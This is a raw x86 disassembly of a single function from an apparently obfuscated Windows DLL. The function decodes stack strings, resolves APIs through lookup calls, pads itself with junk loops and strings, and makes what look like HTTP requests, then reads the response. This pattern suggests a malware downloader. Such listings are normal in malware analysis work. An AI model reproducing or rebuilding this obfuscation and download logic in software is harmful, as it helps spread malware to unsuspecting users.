mov dword [ebp - 0x104], 0x5100617
mov dword [ebp - 0x100], 0x7f1e0822
mov word [ebp - 0xfc], 0x720a
mov byte [ebp - 0xfa], 0x1d
mov byte [ebp - 0xf9], bl
mov dword [ebp - 0xf8], 0x14130d0d
mov dword [ebp - 0xf4], 0x190e190c
mov dword [ebp - 0xf0], 0x41036902
mov dword [ebp - 0xec], 0x7048b02
mov word [ebp - 0x498], ax
pop esi
mov dword [ebp - 0x148], ecx
cmp esi, 0x4a
jne 0x1002c20e
push 4
pop ecx
push 0x4c
mov dword [ebp - 0x148], ecx
pop esi
jmp 0x1002c267
movzx edx, byte [ebp + esi - 0x137]
mov eax, esi
sub eax, ecx
push 0x6dd0
push 1
movzx eax, byte [ebp + eax - 0x13a]
movzx eax, word [ebp + eax*2 - 0x4e0]
mov ecx, eax
and eax, edx
or ecx, edx
mov dl, 1
sub ecx, eax
movzx eax, byte [ebp + esi - 0x138]
mov word [ebp + eax*2 - 0x4e0], cx
lea eax, [ebp - 0x148]
push eax
push 0x4d16
xor cl, cl
call fcn.1002999a
mov ecx, dword [ebp - 0x148]
add esp, 0x10
add esi, 2
cmp esi, 0x50
jb 0x1002c1fb
xor eax, eax
mov dword [ebp - 0x2a4], ebx
push 7
mov word [ebp - 0x494], ax
lea ecx, [ebp - 0x2b4]
pop edi
mov word [ebp - 0x2b4], ax
lea eax, [ebp - 0x4e0]
push eax
mov dword [ebp - 0x2a0], edi
call fcn.10013f87
mov byte [ebp - 4], 0x1c
push 2
pop edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x20], 0x67b8
mov dword [ebp - 0x14], 0xfffffff7
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x9d88
push 3
mov dword [ebp - 0x2c], 0xe213
mov dword [ebp - 0x18], ebx
pop ecx
jmp 0x1002c2e2
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x37c], 0xdb50
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002c2d1
mov dword [ebp - 0x18], ebx
jmp 0x1002c2fd
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x390], 0x8bac04ee
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002c2ec
mov dword [ebp - 0x18], ebx
jmp 0x1002c318
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x370], 0xfffffffe
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002c307
mov eax, dword [ebp - 0x378]
xor edx, edx
mov eax, dword [ebp - 0x368]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
inc dword [ebp - 0x1c]
cmp eax, edx
jne 0x1002c34b
xor eax, eax
inc eax
jmp 0x1002c34d
mov eax, ebx
push 0x13
pop ecx
mov dword [ebp - 0x2c], eax
lea edi, [ebp - 0x4e0]
xor eax, eax
mov dword [ebp - 0xe8], 0x315cb05
rep stosd dword es:[edi], eax
push 0x30
mov ecx, ebx
mov dword [ebp - 0xe4], 0x8070a20
mov dword [ebp - 0xe0], 0x1b021c0e
stosw word es:[edi], ax
pop eax
push 2
mov dword [ebp - 0xdc], 0x1647eb03
mov dword [ebp - 0xd8], 0x1d1c1b18
mov dword [ebp - 0xd4], 0x7b23091f
mov byte [ebp - 0xd0], 0x14
mov byte [ebp - 0xcf], bl
mov dword [ebp - 0xce], 0xd1d7b0a
mov dword [ebp - 0xca], 0x761e041a
mov dword [ebp - 0xc6], 0x1c106b13
mov dword [ebp - 0xc2], 0x72217322
mov byte [ebp - 0xbe], 0x19
mov byte [ebp - 0xbd], bl
mov dword [ebp - 0xbc], 0x6240216
mov dword [ebp - 0xb8], 0x750f7011
mov dword [ebp - 0xb4], 0x2067503
mov dword [ebp - 0xb0], 0x1a09710c
mov word [ebp - 0xac], 0x6e0b
mov byte [ebp - 0xaa], 0x1b
mov byte [ebp - 0xa9], bl
mov dword [ebp - 0xa8], 0x508700d
mov dword [ebp - 0xa4], 0x7c170f04
mov dword [ebp - 0xa0], 0x3b013825
mov word [ebp - 0x9c], 0x7512
mov byte [ebp - 0x9a], bl
mov byte [ebp - 0x99], 0x48
mov word [ebp - 0x526], ax
pop esi
mov dword [ebp - 0x140], ecx
cmp esi, 0xc
jne 0x1002c477
push 4
pop ecx
push 0xe
mov dword [ebp - 0x140], ecx
pop esi
jmp 0x1002c4d7
movzx edx, byte [ebp + esi - 0xe7]
mov eax, esi
sub eax, ecx
push 1
movzx eax, byte [ebp + eax - 0xea]
movzx ecx, word [ebp + eax*2 - 0x530]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0xe8]
add ecx, edx
mov edx, 0x7e5c
mov word [ebp + eax*2 - 0x530], cx
lea eax, [ebp - 0x140]
push eax
push 1
push 0x2bd7
push 1
mov ecx, 0x74cb
call fcn.1002a839
mov ecx, dword [ebp - 0x140]
add esp, 0x14
add esi, 2
cmp esi, 0x50
jb 0x1002c464
xor eax, eax
mov word [ebp - 0x4e4], ax
mov dword [ebp - 0x1c], 0xfd3df75d
mov dword [ebp - 0x1c], ebx
jmp 0x1002c54b
xor ecx, ecx
mov dword [ebp - 0x14], ebx
inc ecx
jmp 0x1002c50d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x24c], 0x394a2a4f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002c4fc
push 0x81d
push ecx
push 0x7af
lea eax, [ebp - 0x4a]
mov byte [ebp - 0x4a], bl
push eax
push 0x161b
push ecx
push 0x6daf
push ebx
mov edx, 0x3e84
mov ecx, 0x1ddb
call fcn.10029e5a
mov eax, dword [ebp - 0x24c]
add esp, 0x20
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffffc
jl 0x1002c4f4
xor eax, eax
mov dword [ebp - 0x2b8], 7
mov word [ebp - 0x2cc], ax
lea ecx, [ebp - 0x2cc]
lea eax, [ebp - 0x530]
mov dword [ebp - 0x2bc], ebx
push eax
call fcn.10013f87
mov byte [ebp - 4], 0x1d
mov dword [ebp - 0x14], ebx
jmp 0x1002c596
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x228], 0x25b9b55b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002c585
mov dword [ebp - 0x224], 0x17
jmp 0x1002c5c9
push 0x2123
push ebx
push ebx
push 0x653e
mov dl, 1
mov ecx, 0x6da1
call fcn.1002a45e
add esp, 0x10
inc dword [ebp - 0x224]
cmp dword [ebp - 0x224], 0x1d
je 0x1002c5a8
push 0x13
pop ecx
xor eax, eax
lea edi, [ebp - 0x530]
rep stosd dword es:[edi], eax
push 1
lea ecx, [ebp - 0x16c]
stosw word es:[edi], ax
mov dword [ebp - 0x34], 0xe125d16d
mov dword [ebp - 0x14c], 0xffffffff
call fcn.100138f8
push 0xfffffffffffffffb
pop esi
push 0x6fa7
lea eax, [ebp - 0x178]
mov byte [ebp - 4], 0x1e
push eax
lea eax, [ebp - 0x16c]
mov dword [ebp - 0x300], esi
push eax
push 1
push ecx
mov dword [ebp - 0x31c], 0xffffffff
mov edx, 0x2f80
mov dword [ebp - 0x2d0], 0xffffffff
push ecx
call fcn.1002a95f
mov eax, dword [ebp - 0x34]
add esp, 0x18
cmp eax, dword [ebp - 0x34]
jg 0x1002c6bc
push ecx
push ecx
lea eax, [ebp - 0x39]
mov dword [ebp - 0x25c], 0x9d010789
mov dword [ebp - 0x26c], 0xbe92e3f9
mov cl, 1
push eax
mov byte [ebp - 0x39], bl
call fcn.1002adaa
add esp, 0xc
lea eax, [ebp - 0x16c]
mov edx, 0x7299
lea ecx, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x34]
push eax
push 0x1223
push 0x3656
lea eax, [ebp - 0x14c]
push eax
push 0x50f6
push 0x21f8
push ebx
push 1
lea eax, [ebp - 0x26c]
push ebx
push eax
call fcn.10029f87
add esp, 0x2c
jmp 0x1002c77f
mov dword [ebp - 0x14], 0xf1bd53d2
xor edx, edx
mov dword [ebp - 0x13c], esi
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x34]
cmp eax, ecx
mov edi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x16c]
setne dl
xor ecx, ecx
imul edi, dword [eax]
mov eax, dword [ebp - 0x14]
cmp edx, eax
mov eax, 0x981c5860
setle cl
cmp eax, ecx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x34]
sbb esi, esi
add eax, edi
add ecx, eax
xor edx, edx
mov eax, dword [ebp - 0x14c]
neg esi
cmp esi, ecx
setg dl
imul eax, edx
test eax, eax
je 0x1002c76d
mov dword [ebp - 0x34], 0xffffffe6
jmp 0x1002c754
push 0x47f5
push 1
push 0x640a
push 0x1106
push 0x291f
push ebx
lea eax, [ebp - 0x14c]
mov ecx, 0xa3d
push eax
push 1
lea edx, [ebp - 0x13c]
call fcn.10029e5a
add esp, 0x20
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x2f
jne 0x1002c71e
push ecx
push ecx
push 0x33e2
xor cl, cl
call fcn.1002adaa
add esp, 0xc
jmp 0x1002c77f
mov dword [ebp - 0x20], 1
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x16c]
mov dword [eax], ecx
lea eax, [ebp - 0x16c]
push eax
push ecx
push ecx
push 0x1fa5
sub esp, 0x10
push 1
push ecx
push ecx
call fcn.10029968
add esp, 0x2c
mov byte [ebp - 4], 0x1d
cmp dword [ebp - 0x16c], 0
je 0x1002c7c7
push dword [ebp - 0x16c]
call fcn.10047697
pop ecx
mov dword [ebp - 0x16c], ebx
mov dword [ebp - 0x168], ebx
mov dword [ebp - 0x164], ebx
mov dword [ebp - 0x2c], 0x4764
cmp dword [ebp - 0x2c], 0x4a8a
jle 0x1002c800
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
shl eax, cl
mov ecx, 0x1007d058
cdq
push edx
push eax
call fcn.100136b0
inc edi
cmp edi, 0x2837
jl 0x1002c7db
inc esi
cmp esi, 0x6954
jl 0x1002c7d9
mov byte [ebp - 4], 0x1f
cmp dword [ebp - 0x2c], 0x4501
jge 0x1002c83a
mov edx, str.dskcrccrm_ojar_sofyoh_zetyvc
mov ecx, 0x1007d058
call fcn.100160b3
jmp 0x1002c83a
push 0x74
mov dword [ebp - 4], 0x1d
lea ecx, [ebp - 0x3b0]
cmp dword [ebp - 0x2a0], 8
lea eax, [ebp - 0x2b4]
pop esi
cmovae eax, dword [ebp - 0x2b4]
mov edi, 0x10ab6
push ecx
push eax
push edi
push 0xff1e
call fcn.10012c87
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1002ce23
cmp dword [ebp - 0x2b8], 8
lea ecx, [ebp - 0x3c8]
push ecx
lea eax, [ebp - 0x2cc]
cmovae eax, dword [ebp - 0x2cc]
push eax
push edi
push 0xff1e
call fcn.10012c87
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1002ce23
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3b0]
push eax
push 3
push ebx
lea eax, [ebp - 0x3c8]
push eax
push edi
push 0x6e32
call fcn.10012c87
pop ecx
pop ecx
call eax
test eax, eax
js 0x1002ce23
cmp dword [ebp - 0x38], 0
je 0x1002ce23
push ecx
push 0x5c6c
push ecx
lea eax, [ebp - 0x358]
xor cl, cl
push eax
call fcn.10029cd1
add esp, 0x10
mov word [ebp - 0x170], si
xor eax, eax
mov dword [ebp - 0x64], 0x11016402
mov ecx, ebx
mov word [ebp - 0x350], ax
mov byte [ebp - 0x60], bl
push 2
mov dword [ebp - 0x5f], 0x30540322
mov byte [ebp - 0x5b], 0x5f
pop esi
mov dword [ebp - 0x158], ecx
cmp esi, 6
jne 0x1002c940
push 4
pop ecx
push 8
mov dword [ebp - 0x158], ecx
pop esi
jmp 0x1002c98b
movzx edx, byte [ebp + esi - 0x63]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x66]
movzx ecx, word [ebp + eax*2 - 0x174]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x64]
add ecx, edx
push ecx
mov word [ebp + eax*2 - 0x174], cx
lea eax, [ebp - 0x158]
push eax
push ecx
push 0xa26
mov cl, 1
call fcn.10029cd1
mov ecx, dword [ebp - 0x158]
add esp, 0x10
add esi, 2
cmp esi, 0xa
jb 0x1002c92d
xor eax, eax
mov dword [ebp - 0x1bc], 7
mov word [ebp - 0x16e], ax
lea ecx, [ebp - 0x1d0]
mov word [ebp - 0x1d0], ax
lea eax, [ebp - 0x174]
push eax
mov dword [ebp - 0x1c0], ebx
call fcn.10013f87
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x1d0]
cmp dword [ebp - 0x1bc], 8
mov eax, dword [ebp - 0x1c0]
cmovae ecx, dword [ebp - 0x1d0]
push dword [ebp - 0x178]
mov dword [ebp - 0x174], ebx
mov dword [ebp - 0x170], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x238], ebx
lea ecx, [ebp - 0x1d0]
mov dword [ebp - 0x234], ebx
cmovae ecx, dword [ebp - 0x1d0]
push eax
push ecx
lea ecx, [ebp - 0x238]
mov dword [ebp - 0x230], ebx
call fcn.1002fd01
mov byte [ebp - 4], 0x22
mov dword [ebp - 0x14], 0x9a4
cmp dword [ebp - 0x14], 0xc4f
jle 0x1002ca9f
mov edi, ebx
mov dword [ebp - 0x2c], ebx
mov esi, ebx
mov dword [ebp - 0x58], ebx
mov eax, edi
mov dword [ebp - 0x13c], ebx
cdq
mov edi, ebx
idiv esi
mov esi, edx
mov eax, edi
mov ecx, 0x1007d058
and eax, esi
cdq
push edx
push eax
call fcn.100136b0
inc edi
cmp edi, 0x75f4
jl 0x1002ca51
mov esi, dword [ebp - 0x58]
mov edi, dword [ebp - 0x2c]
inc esi
mov dword [ebp - 0x58], esi
cmp esi, 0x3270
jl 0x1002ca42
inc edi
mov dword [ebp - 0x2c], edi
cmp edi, 0x93d
jl 0x1002ca3d
push 0xd37
push 0x23d9
push ebx
push 0x1008
call dword [sym.imp.USER32.dll_DrawEdge]
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x23c], ebx
push eax
lea ecx, [ebp - 0x238]
call fcn.1002d3bb
mov byte [ebp - 4], 0x23
cmp dword [ebp - 0x14], 0x911
jge 0x1002caf1
mov edx, str.khh_whzjgcy_ndgtvejfm_nbxazjr_werro_hpjtjld_awyfnyv_fdrybp_xftsqfx_cpdmloasb_nsfjwgiz_pqzpgmp_yqy
mov ecx, 0x1007d058
call fcn.100160b3
jmp 0x1002caf1
mov edx, dword [ebp - 0x40]
mov dword [ebp - 4], 0x22
cmp dword [edx + 0x14], 8
jb 0x1002cb05
mov ecx, dword [edx]
jmp 0x1002cb07
mov ecx, edx
cmp dword [edx + 0x14], 8
mov eax, dword [edx + 0x10]
lea eax, [ecx + eax*2]
jb 0x1002cb15
mov edx, dword [edx]
push dword [ebp - 0x178]
lea ecx, [ebp - 0x1f8]
mov dword [ebp - 0x1f8], ebx
push eax
push edx
mov dword [ebp - 0x1f4], ebx
mov dword [ebp - 0x1f0], ebx
call fcn.1002fd01
push 1
lea edx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x25
call fcn.1002ae1a
cmp dword [ebp - 0x1bc], 8
lea edx, [ebp - 0x1d0]
lea esi, [ebp - 0x2e0]
mov eax, dword [ebp - 0x38]
cmovae edx, dword [ebp - 0x1d0]
sub esp, 0xc
mov edi, esp
sub esp, 0x10
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x2e0]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x358]
push dword [ebp - 0x1f8]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x1002cdda
mov esi, dword [ebp - 0x194]
mov cl, 1
mov dword [ebp - 0x154], ebx
cmp esi, dword [ebp - 0x190]
je 0x1002cc04
add esi, 0x18
test cl, cl
je 0x1002cbec
cmp dword [esi + 0x14], 8
jb 0x1002cbcb
mov edi, dword [esi]
jmp 0x1002cbcd
mov edi, esi
cmp dword [esi - 4], 8
jb 0x1002cbd8
mov edx, dword [esi - 0x18]
jmp 0x1002cbdb
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x38]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x1002cbee
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x190]
jne 0x1002cbbd
test cl, cl
je 0x1002cdda
mov eax, dword [ebp - 0x38]
lea esi, [ebp - 0x2e0]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x1002cdda
mov eax, dword [ebp - 0x38]
lea edx, [ebp - 0x154]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x1002cdda
cmp dword [ebp - 0x154], 0x130
je 0x1002cc58
cmp dword [ebp - 0x154], 0xc8
jne 0x1002cdda
mov eax, dword [ebp - 0x38]
lea edx, [ebp - 0x3d8]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x1002cdda
mov esi, dword [ebp - 0x3d0]
mov dword [ebp - 0x150], esi
test esi, esi
je 0x1002cdda
mov eax, dword [esi]
lea ecx, [ebp - 0x578]
push 1
push ecx
push esi
call dword [eax + 0x30]
test eax, eax
js 0x1002cdbb
mov eax, dword [ebp - 0x570]
mov edx, 0x214d
push 1
push 1
push 0x69cf
mov dword [ebp - 0x68], eax
mov ecx, 0x28a4
lea eax, [ebp - 0x68]
push eax
push 0x42f8
push 0x386d
push 0x921
push 1
push 0x2b2f
push 0x5e81
lea eax, [ebp - 0x1ac]
push 0x1a6c
push eax
call fcn.1002ae82
mov edx, dword [ebp - 0x68]
mov edi, ebx
add esp, 0x30
mov dword [ebp - 0x188], edx
mov dword [ebp - 0x160], ebx
mov dword [ebp - 0x15c], edi
mov eax, dword [ebp - 0x1ac]
mov ecx, dword [esi]
add eax, edi
lea edi, [ebp - 0x160]
push edi
push edx
push eax
push esi
call dword [ecx + 0xc]
mov edi, dword [ebp - 0x15c]
test eax, eax
js 0x1002cd93
sub esp, 0xc
lea eax, [ebp - 0x15c]
lea edx, [ebp - 0x160]
mov cl, 1
push eax
push 0x5117
call fcn.1002afe5
add esp, 0x14
lea eax, [ebp - 0x188]
mov ecx, 0x631c
push 0xbc
push 0x2b54
push 0x7df9
push eax
push 0x6c03
push 0x73a4
push 0x44dd
push 1
push ebx
push 1
push 0x55fd
call fcn.10029f87
mov edi, dword [ebp - 0x15c]
add esp, 0x2c
cmp edi, dword [ebp - 0x68]
jae 0x1002cd96
mov edx, dword [ebp - 0x188]
jmp 0x1002cd01
cmp edi, dword [ebp - 0x68]
je 0x1002cdbb
push 1
push 0x12cf
push 1
lea eax, [ebp - 0x1ac]
mov edx, 0x24a
push eax
push ebx
mov ecx, 0x421f
call fcn.1002a839
add esp, 0x14
push 0x282c
push 1
lea eax, [ebp - 0x150]
mov dl, 1
push 0x68d5
push eax
mov cl, dl
call fcn.1002999a
add esp, 0x10
push 0x4b2c
push ecx
lea eax, [ebp - 0x38]
mov edx, 0x651d
push 1
push eax
call fcn.10029bc5
add esp, 0x10
mov dword [ebp - 0x38], ebx
lea ecx, [ebp - 0x1f8]
call fcn.10028fac
lea ecx, [ebp - 0x238]
call fcn.10028fac
push ebx
push 1
lea ecx, [ebp - 0x1d0]
mov byte [ebp - 4], 0x1d
call fcn.1001400f
mov edi, 0x10ab6
push edi
push 0x5702
call fcn.10012c87
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 0x248]
lea eax, [ebp - 0x1ac]
push eax
call fcn.1002d306
push ebx
push 1
lea ecx, [ebp - 0x2cc]
call fcn.1001400f
push ebx
push 1
lea ecx, [ebp - 0x2b4]
call fcn.1001400f
lea ecx, [ebp - 0x194]
call fcn.1002d56a
lea ecx, [ebp - 0x1ac]
call fcn.1002d5e5
lea ecx, [ebp + 8]
call fcn.1002d56a
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret